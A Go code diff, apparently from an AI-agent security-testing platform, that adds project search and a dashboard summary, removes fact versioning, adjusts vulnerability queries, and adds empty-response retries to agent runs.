t, parseErr := time.ParseInLocation("2006-01-02 15:04:05", bucketStr, time.Local)
|
||||
if parseErr != nil {
|
||||
t, parseErr = time.Parse("2006-01-02 15:04:05", bucketStr)
|
||||
if parseErr != nil {
|
||||
db.logger.Warn("解析趋势时间桶失败", zap.String("bucket", bucketStr), zap.Error(parseErr))
|
||||
continue
|
||||
}
|
||||
}
|
||||
key := truncateCallsTimelineBucket(startTime, dailyBuckets)
|
||||
entry := bucketMap[key]
|
||||
entry.total++
|
||||
entry.failed += failed
|
||||
bucketMap[key] = entry
|
||||
}
|
||||
|
||||
buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
|
||||
for bucketTime, counts := range bucketMap {
|
||||
buckets = append(buckets, CallsTimelineBucket{
|
||||
BucketTime: t,
|
||||
Total: total,
|
||||
Failed: failed,
|
||||
BucketTime: bucketTime,
|
||||
Total: counts.total,
|
||||
Failed: counts.failed,
|
||||
})
|
||||
}
|
||||
sort.Slice(buckets, func(i, j int) bool {
|
||||
return buckets[i].BucketTime.Before(buckets[j].BucketTime)
|
||||
})
|
||||
return buckets, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -51,7 +51,6 @@ type ProjectFact struct {
|
||||
SourceConversationID string `json:"source_conversation_id,omitempty"`
|
||||
SourceMessageID string `json:"source_message_id,omitempty"`
|
||||
Pinned bool `json:"pinned"`
|
||||
SupersedesFactID string `json:"supersedes_fact_id,omitempty"`
|
||||
RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"`
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
@@ -112,10 +111,30 @@ func (db *DB) GetProject(id string) (*Project, error) {
|
||||
return &p, nil
|
||||
}
|
||||
|
||||
// CountProjects 统计项目数量。
|
||||
func (db *DB) CountProjects(status, search string) (int, error) {
|
||||
query := `SELECT COUNT(*) FROM projects WHERE 1=1`
|
||||
args := []interface{}{}
|
||||
if s := strings.TrimSpace(status); s != "" {
|
||||
query += " AND status = ?"
|
||||
args = append(args, s)
|
||||
}
|
||||
if q := strings.TrimSpace(search); q != "" {
|
||||
pattern := "%" + q + "%"
|
||||
query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
|
||||
args = append(args, pattern, pattern)
|
||||
}
|
||||
var count int
|
||||
if err := db.QueryRow(query, args...).Scan(&count); err != nil {
|
||||
return 0, fmt.Errorf("统计项目失败: %w", err)
|
||||
}
|
||||
return count, nil
|
||||
}
|
||||
|
||||
// ListProjects 列出项目。
|
||||
func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error) {
|
||||
func (db *DB) ListProjects(status, search string, limit, offset int) ([]*Project, error) {
|
||||
if limit <= 0 {
|
||||
limit = 200
|
||||
limit = 50
|
||||
}
|
||||
query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
|
||||
FROM projects WHERE 1=1`
|
||||
@@ -124,6 +143,11 @@ func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error)
|
||||
query += " AND status = ?"
|
||||
args = append(args, s)
|
||||
}
|
||||
if q := strings.TrimSpace(search); q != "" {
|
||||
pattern := "%" + q + "%"
|
||||
query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
|
||||
args = append(args, pattern, pattern)
|
||||
}
|
||||
query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
|
||||
args = append(args, limit, offset)
|
||||
|
||||
@@ -215,7 +239,7 @@ func (db *DB) SetConversationProjectID(conversationID, projectID string) error {
|
||||
func (db *DB) ListProjectFactsForIndex(projectID string, includeDeprecated bool) ([]*ProjectFact, error) {
|
||||
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
FROM project_facts WHERE project_id = ?`
|
||||
args := []interface{}{projectID}
|
||||
if !includeDeprecated {
|
||||
@@ -237,7 +261,7 @@ func (db *DB) ListProjectFacts(projectID string, filter ProjectFactListFilter, l
|
||||
}
|
||||
query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
FROM project_facts WHERE project_id = ?`
|
||||
args := []interface{}{projectID}
|
||||
if c := strings.TrimSpace(filter.Category); c != "" {
|
||||
@@ -276,7 +300,7 @@ func (db *DB) GetProjectFactByKey(projectID, factKey string) (*ProjectFact, erro
|
||||
row := db.QueryRow(
|
||||
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
FROM project_facts WHERE project_id = ? AND fact_key = ?`,
|
||||
projectID, factKey,
|
||||
)
|
||||
@@ -288,7 +312,7 @@ func (db *DB) GetProjectFact(id string) (*ProjectFact, error) {
|
||||
row := db.QueryRow(
|
||||
`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
COALESCE(related_vulnerability_id,''), created_at, updated_at
|
||||
FROM project_facts WHERE id = ?`, id,
|
||||
)
|
||||
return scanProjectFactRow(row)
|
||||
@@ -327,24 +351,15 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
|
||||
if strings.TrimSpace(f.Confidence) == "" {
|
||||
f.Confidence = existing.Confidence
|
||||
}
|
||||
if projectFactContentChanged(existing, f) {
|
||||
versionID, verr := db.InsertProjectFactVersion(existing)
|
||||
if verr != nil {
|
||||
return nil, verr
|
||||
}
|
||||
f.SupersedesFactID = versionID
|
||||
} else if f.SupersedesFactID == "" {
|
||||
f.SupersedesFactID = existing.SupersedesFactID
|
||||
}
|
||||
_, err = db.Exec(
|
||||
`UPDATE project_facts SET category = ?, summary = ?, body = ?, confidence = ?,
|
||||
source_conversation_id = COALESCE(?, source_conversation_id),
|
||||
source_message_id = COALESCE(?, source_message_id),
|
||||
pinned = ?, supersedes_fact_id = ?, related_vulnerability_id = ?, updated_at = ?
|
||||
pinned = ?, related_vulnerability_id = ?, updated_at = ?
|
||||
WHERE id = ?`,
|
||||
f.Category, f.Summary, f.Body, f.Confidence,
|
||||
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
||||
nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
|
||||
nullIfEmpty(f.RelatedVulnerabilityID), f.UpdatedAt, f.ID,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("更新事实失败: %w", err)
|
||||
@@ -360,12 +375,12 @@ func (db *DB) UpsertProjectFact(f *ProjectFact) (*ProjectFact, error) {
|
||||
_, err = db.Exec(
|
||||
`INSERT INTO project_facts (
|
||||
id, project_id, fact_key, category, summary, body, confidence,
|
||||
source_conversation_id, source_message_id, pinned, supersedes_fact_id, related_vulnerability_id,
|
||||
source_conversation_id, source_message_id, pinned, related_vulnerability_id,
|
||||
created_at, updated_at
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
|
||||
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
||||
nullIfEmpty(f.SupersedesFactID), nullIfEmpty(f.RelatedVulnerabilityID),
|
||||
nullIfEmpty(f.RelatedVulnerabilityID),
|
||||
f.CreatedAt, f.UpdatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
@@ -440,7 +455,7 @@ func scanProjectFactRow(row *sql.Row) (*ProjectFact, error) {
|
||||
err := row.Scan(
|
||||
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
|
||||
&f.SourceConversationID, &f.SourceMessageID, &pinned,
|
||||
&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
||||
&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
@@ -461,7 +476,7 @@ func scanProjectFactFromRows(rows *sql.Rows) (*ProjectFact, error) {
|
||||
err := rows.Scan(
|
||||
&f.ID, &f.ProjectID, &f.FactKey, &f.Category, &f.Summary, &f.Body, &f.Confidence,
|
||||
&f.SourceConversationID, &f.SourceMessageID, &pinned,
|
||||
&f.SupersedesFactID, &f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
||||
&f.RelatedVulnerabilityID, &createdAt, &updatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ProjectDashboardFact 仪表盘跨项目近期事实条目。
|
||||
type ProjectDashboardFact struct {
|
||||
ID string `json:"id"`
|
||||
ProjectID string `json:"project_id"`
|
||||
ProjectName string `json:"project_name"`
|
||||
FactKey string `json:"fact_key"`
|
||||
Category string `json:"category"`
|
||||
Summary string `json:"summary"`
|
||||
Confidence string `json:"confidence"`
|
||||
Pinned bool `json:"pinned"`
|
||||
UpdatedAt time.Time `json:"updated_at"`
|
||||
}
|
||||
|
||||
// ProjectDashboardTotals 仪表盘项目事实汇总计数。
|
||||
type ProjectDashboardTotals struct {
|
||||
ActiveProjects int `json:"active_projects"`
|
||||
TotalFacts int `json:"total_facts"`
|
||||
}
|
||||
|
||||
// ProjectDashboardSummary 仪表盘项目情报摘要。
|
||||
type ProjectDashboardSummary struct {
|
||||
RecentFacts []ProjectDashboardFact `json:"recent_facts"`
|
||||
Totals ProjectDashboardTotals `json:"totals"`
|
||||
}
|
||||
|
||||
// GetProjectDashboardSummary 聚合跨项目近期事实(仅活跃项目、排除 deprecated)。
|
||||
func (db *DB) GetProjectDashboardSummary(factLimit int) (*ProjectDashboardSummary, error) {
|
||||
if factLimit <= 0 {
|
||||
factLimit = 5
|
||||
}
|
||||
if factLimit > 50 {
|
||||
factLimit = 50
|
||||
}
|
||||
|
||||
out := &ProjectDashboardSummary{
|
||||
RecentFacts: []ProjectDashboardFact{},
|
||||
}
|
||||
|
||||
if err := db.QueryRow(`SELECT COUNT(*) FROM projects WHERE status = 'active'`).Scan(&out.Totals.ActiveProjects); err != nil {
|
||||
return nil, fmt.Errorf("统计活跃项目失败: %w", err)
|
||||
}
|
||||
if err := db.QueryRow(
|
||||
`SELECT COUNT(*) FROM project_facts f
|
||||
INNER JOIN projects p ON p.id = f.project_id
|
||||
WHERE f.confidence != 'deprecated' AND p.status = 'active'`,
|
||||
).Scan(&out.Totals.TotalFacts); err != nil {
|
||||
return nil, fmt.Errorf("统计事实失败: %w", err)
|
||||
}
|
||||
|
||||
rows, err := db.Query(
|
||||
`SELECT f.id, f.project_id, p.name, f.fact_key, f.category, f.summary, f.confidence, f.pinned, f.updated_at
|
||||
FROM project_facts f
|
||||
INNER JOIN projects p ON p.id = f.project_id
|
||||
WHERE f.confidence != 'deprecated' AND p.status = 'active'
|
||||
ORDER BY f.pinned DESC, f.updated_at DESC
|
||||
LIMIT ?`,
|
||||
factLimit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询近期事实失败: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var item ProjectDashboardFact
|
||||
var pinned int
|
||||
var updatedAt string
|
||||
if err := rows.Scan(
|
||||
&item.ID, &item.ProjectID, &item.ProjectName, &item.FactKey,
|
||||
&item.Category, &item.Summary, &item.Confidence, &pinned, &updatedAt,
|
||||
); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
item.Pinned = pinned != 0
|
||||
item.ProjectName = strings.TrimSpace(item.ProjectName)
|
||||
item.UpdatedAt = parseDBTime(updatedAt)
|
||||
out.RecentFacts = append(out.RecentFacts, item)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
@@ -135,54 +135,6 @@ func TestRestoreProjectFact(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestUpsertProjectFact_createsVersionOnContentChange(t *testing.T) {
|
||||
dbPath := filepath.Join(t.TempDir(), "facts.db")
|
||||
db, err := NewDB(dbPath, zap.NewNop())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer db.Close()
|
||||
|
||||
proj, err := db.CreateProject(&Project{Name: "version-test"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
created, err := db.UpsertProjectFact(&ProjectFact{
|
||||
ProjectID: proj.ID,
|
||||
FactKey: "finding/xss",
|
||||
Category: "finding",
|
||||
Summary: "v1",
|
||||
Body: "body v1",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if created.SupersedesFactID != "" {
|
||||
t.Fatalf("expected no supersedes on create, got %q", created.SupersedesFactID)
|
||||
}
|
||||
|
||||
updated, err := db.UpsertProjectFact(&ProjectFact{
|
||||
ProjectID: proj.ID,
|
||||
FactKey: "finding/xss",
|
||||
Summary: "v2",
|
||||
Body: "body v2",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if updated.SupersedesFactID == "" {
|
||||
t.Fatal("expected supersedes_fact_id after content change")
|
||||
}
|
||||
prev, err := db.GetProjectFactVersion(updated.SupersedesFactID)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if prev.Summary != "v1" || prev.Body != "body v1" {
|
||||
t.Fatalf("previous version mismatch: summary=%q body=%q", prev.Summary, prev.Body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMergeFactBodyOnUpdate(t *testing.T) {
|
||||
if got := mergeFactBodyOnUpdate("", "keep"); got != "keep" {
|
||||
t.Fatalf("empty incoming: got %q", got)
|
||||
|
||||
@@ -1,144 +0,0 @@
|
||||
package database
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
// ProjectFactVersion 事实历史快照(同 fact_key 更新前归档)。
|
||||
type ProjectFactVersion struct {
|
||||
ID string `json:"id"`
|
||||
FactID string `json:"fact_id"`
|
||||
ProjectID string `json:"project_id"`
|
||||
FactKey string `json:"fact_key"`
|
||||
Category string `json:"category"`
|
||||
Summary string `json:"summary"`
|
||||
Body string `json:"body"`
|
||||
Confidence string `json:"confidence"`
|
||||
SourceConversationID string `json:"source_conversation_id,omitempty"`
|
||||
SourceMessageID string `json:"source_message_id,omitempty"`
|
||||
Pinned bool `json:"pinned"`
|
||||
RelatedVulnerabilityID string `json:"related_vulnerability_id,omitempty"`
|
||||
ArchivedAt time.Time `json:"archived_at"`
|
||||
}
|
||||
|
||||
// InsertProjectFactVersion 将当前事实行快照写入版本表。
|
||||
func (db *DB) InsertProjectFactVersion(f *ProjectFact) (string, error) {
|
||||
if f == nil || f.ID == "" {
|
||||
return "", fmt.Errorf("无效的事实记录")
|
||||
}
|
||||
id := uuid.New().String()
|
||||
now := time.Now()
|
||||
_, err := db.Exec(
|
||||
`INSERT INTO project_fact_versions (
|
||||
id, fact_id, project_id, fact_key, category, summary, body, confidence,
|
||||
source_conversation_id, source_message_id, pinned, related_vulnerability_id, archived_at
|
||||
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
id, f.ID, f.ProjectID, f.FactKey, f.Category, f.Summary, f.Body, f.Confidence,
|
||||
nullIfEmpty(f.SourceConversationID), nullIfEmpty(f.SourceMessageID), boolToInt(f.Pinned),
|
||||
nullIfEmpty(f.RelatedVulnerabilityID), now,
|
||||
)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("归档事实版本失败: %w", err)
|
||||
}
|
||||
return id, nil
|
||||
}
|
||||
|
||||
// GetProjectFactVersion 按版本 ID 获取快照。
|
||||
func (db *DB) GetProjectFactVersion(versionID string) (*ProjectFactVersion, error) {
|
||||
row := db.QueryRow(
|
||||
`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(related_vulnerability_id,''), archived_at
|
||||
FROM project_fact_versions WHERE id = ?`, versionID,
|
||||
)
|
||||
return scanProjectFactVersionRow(row)
|
||||
}
|
||||
|
||||
// ListProjectFactVersions 列出某条事实的全部历史版本(新→旧)。
|
||||
func (db *DB) ListProjectFactVersions(factID string, limit int) ([]*ProjectFactVersion, error) {
|
||||
if limit <= 0 {
|
||||
limit = 20
|
||||
}
|
||||
rows, err := db.Query(
|
||||
`SELECT id, fact_id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
|
||||
COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
|
||||
COALESCE(related_vulnerability_id,''), archived_at
|
||||
FROM project_fact_versions WHERE fact_id = ? ORDER BY archived_at DESC LIMIT ?`,
|
||||
factID, limit,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
var out []*ProjectFactVersion
|
||||
for rows.Next() {
|
||||
v, err := scanProjectFactVersionFromRows(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
out = append(out, v)
|
||||
}
|
||||
return out, rows.Err()
|
||||
}
|
||||
|
||||
func projectFactContentChanged(existing, incoming *ProjectFact) bool {
|
||||
if existing == nil || incoming == nil {
|
||||
return false
|
||||
}
|
||||
mergedBody := mergeFactBodyOnUpdate(incoming.Body, existing.Body)
|
||||
inCat := stringsTrimDefault(incoming.Category, existing.Category)
|
||||
inConf := stringsTrimDefault(incoming.Confidence, existing.Confidence)
|
||||
return existing.Summary != incoming.Summary ||
|
||||
existing.Body != mergedBody ||
|
||||
existing.Category != inCat ||
|
||||
existing.Confidence != inConf
|
||||
}
|
||||
|
||||
func stringsTrimDefault(s, fallback string) string {
|
||||
if strings.TrimSpace(s) == "" {
|
||||
return fallback
|
||||
}
|
||||
return strings.TrimSpace(s)
|
||||
}
|
||||
|
||||
func scanProjectFactVersionRow(row *sql.Row) (*ProjectFactVersion, error) {
|
||||
var v ProjectFactVersion
|
||||
var pinned int
|
||||
var archivedAt string
|
||||
err := row.Scan(
|
||||
&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
|
||||
&v.SourceConversationID, &v.SourceMessageID, &pinned,
|
||||
&v.RelatedVulnerabilityID, &archivedAt,
|
||||
)
|
||||
if err != nil {
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("事实版本不存在")
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
v.Pinned = pinned != 0
|
||||
v.ArchivedAt = parseDBTime(archivedAt)
|
||||
return &v, nil
|
||||
}
|
||||
|
||||
func scanProjectFactVersionFromRows(rows *sql.Rows) (*ProjectFactVersion, error) {
|
||||
var v ProjectFactVersion
|
||||
var pinned int
|
||||
var archivedAt string
|
||||
err := rows.Scan(
|
||||
&v.ID, &v.FactID, &v.ProjectID, &v.FactKey, &v.Category, &v.Summary, &v.Body, &v.Confidence,
|
||||
&v.SourceConversationID, &v.SourceMessageID, &pinned,
|
||||
&v.RelatedVulnerabilityID, &archivedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
v.Pinned = pinned != 0
|
||||
v.ArchivedAt = parseDBTime(archivedAt)
|
||||
return &v, nil
|
||||
}
|
||||
@@ -37,7 +37,7 @@ func TestListProjectFacts_updatedAtJSON(t *testing.T) {
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
projects, err := db.ListProjects("", 1, 0)
|
||||
projects, err := db.ListProjects("", "", 1, 0)
|
||||
if err != nil || len(projects) == 0 {
|
||||
t.Skip("no projects")
|
||||
}
|
||||
|
||||
@@ -98,7 +98,7 @@ type Vulnerability struct {
|
||||
Title string `json:"title"`
|
||||
Description string `json:"description"`
|
||||
Severity string `json:"severity"` // critical, high, medium, low, info
|
||||
Status string `json:"status"` // open, confirmed, fixed, false_positive
|
||||
Status string `json:"status"` // open, confirmed, fixed, false_positive, ignored
|
||||
Type string `json:"type"`
|
||||
Target string `json:"target"`
|
||||
Proof string `json:"proof"`
|
||||
@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
||||
|
||||
_, err := db.Exec(
|
||||
query,
|
||||
vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
||||
vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
||||
vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
|
||||
vuln.Proof, vuln.Impact, vuln.Recommendation,
|
||||
vuln.CreatedAt, vuln.UpdatedAt,
|
||||
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
||||
func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||
var vuln Vulnerability
|
||||
query := `
|
||||
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status,
|
||||
SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
|
||||
conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
|
||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||
// ListVulnerabilities 列出漏洞
|
||||
func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
|
||||
query := `
|
||||
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
|
||||
SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
|
||||
vulnerability_type, target, proof, impact, recommendation,
|
||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||
@@ -403,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
|
||||
}
|
||||
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
|
||||
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
|
||||
}
|
||||
|
||||
@@ -101,7 +101,40 @@ func sameResponseStreamMeta(a, b map[string]interface{}) bool {
|
||||
}
|
||||
orchA, _ := a["orchestration"].(string)
|
||||
orchB, _ := b["orchestration"].(string)
|
||||
return strings.TrimSpace(orchA) == strings.TrimSpace(orchB)
|
||||
if strings.TrimSpace(orchA) != strings.TrimSpace(orchB) {
|
||||
return false
|
||||
}
|
||||
iterA := responseStreamIterationFromMeta(a)
|
||||
iterB := responseStreamIterationFromMeta(b)
|
||||
if iterA != 0 && iterB != 0 && iterA != iterB {
|
||||
return false
|
||||
}
|
||||
streamA, _ := a["streamId"].(string)
|
||||
streamB, _ := b["streamId"].(string)
|
||||
streamA = strings.TrimSpace(streamA)
|
||||
streamB = strings.TrimSpace(streamB)
|
||||
if streamA != "" && streamB != "" && streamA != streamB {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func responseStreamIterationFromMeta(m map[string]interface{}) int {
|
||||
if m == nil {
|
||||
return 0
|
||||
}
|
||||
switch v := m["iteration"].(type) {
|
||||
case int:
|
||||
return v
|
||||
case int32:
|
||||
return int(v)
|
||||
case int64:
|
||||
return int(v)
|
||||
case float64:
|
||||
return int(v)
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
func discardPlanningIfEchoesToolResult(respPlan *responsePlanAgg, toolData interface{}) {
|
||||
@@ -604,13 +637,26 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
|
||||
var resultMA *multiagent.RunResult
|
||||
var errMA error
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
for {
|
||||
resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
|
||||
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
||||
conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
|
||||
)
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
|
||||
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
errMA = nil
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
continue
|
||||
}
|
||||
if errMA == nil {
|
||||
transientRunAttempts = 0
|
||||
emptyResponseAttempts = 0
|
||||
break
|
||||
}
|
||||
if handled, _ := h.handleEinoTransientRetryContinue(
|
||||
@@ -640,14 +686,27 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
|
||||
var resultMA *multiagent.RunResult
|
||||
var errMA error
|
||||
var transientRunAttempts int
|
||||
var emptyResponseAttempts int
|
||||
for {
|
||||
resultMA, errMA = multiagent.RunDeepAgent(
|
||||
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
||||
conversationID, curMsg, curHist, roleTools, progressCallback,
|
||||
h.agentsMarkdownDir, orchestration, nil, h.projectBlackboardBlock(conversationID),
|
||||
)
|
||||
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
|
||||
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
|
||||
)
|
||||
if exhaustedEmpty {
|
||||
errMA = nil
|
||||
break
|
||||
}
|
||||
if handledEmpty {
|
||||
continue
|
||||
}
|
||||
if errMA == nil {
|
||||
transientRunAttempts = 0
|
||||
emptyResponseAttempts = 0
|
||||
break
|
||||
}
|
||||
if handled, _ := h.handleEinoTransientRetryContinue(
|
||||
|
||||
+105
-58
@@ -298,7 +298,7 @@ func (h *ConfigHandler) GetConfig(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
// 获取外部MCP工具
|
||||
// 获取外部MCP工具(走缓存,持锁期间通常不阻塞)
|
||||
if h.externalMCPMgr != nil {
|
||||
ctx := context.Background()
|
||||
externalTools := h.getExternalMCPTools(ctx)
|
||||
@@ -359,9 +359,6 @@ type GetToolsResponse struct {
|
||||
|
||||
// GetTools 获取工具列表(支持分页和搜索)
|
||||
func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
c.Header("Cache-Control", "no-store, no-cache, must-revalidate")
|
||||
|
||||
// 解析分页参数
|
||||
@@ -407,12 +404,37 @@ func (h *ConfigHandler) GetTools(c *gin.Context) {
|
||||
}
|
||||
}
|
||||
|
||||
includeExternal := true
|
||||
if v := strings.TrimSpace(strings.ToLower(c.Query("include_external"))); v == "0" || v == "false" || v == "no" {
|
||||
includeExternal = false
|
||||
}
|
||||
refreshExternal := false
|
||||
if v := strings.TrimSpace(strings.ToLower(c.Query("refresh_external"))); v == "1" || v == "true" || v == "yes" {
|
||||
refreshExternal = true
|
||||
}
|
||||
|
||||
// 按外部 MCP 名称筛选(MCP 管理页左侧卡片 → 右侧工具列表联动)
|
||||
externalMCPFilter := strings.TrimSpace(c.Query("external_mcp"))
|
||||
|
||||
// 快照配置后立即释放锁,避免外部 MCP 网络 IO 阻塞整个配置子系统
|
||||
h.mu.RLock()
|
||||
securityTools := append([]config.ToolConfig(nil), h.config.Security.Tools...)
|
||||
roles := h.config.Roles
|
||||
toolDescriptionMode := h.config.Security.ToolDescriptionMode
|
||||
mcpServer := h.mcpServer
|
||||
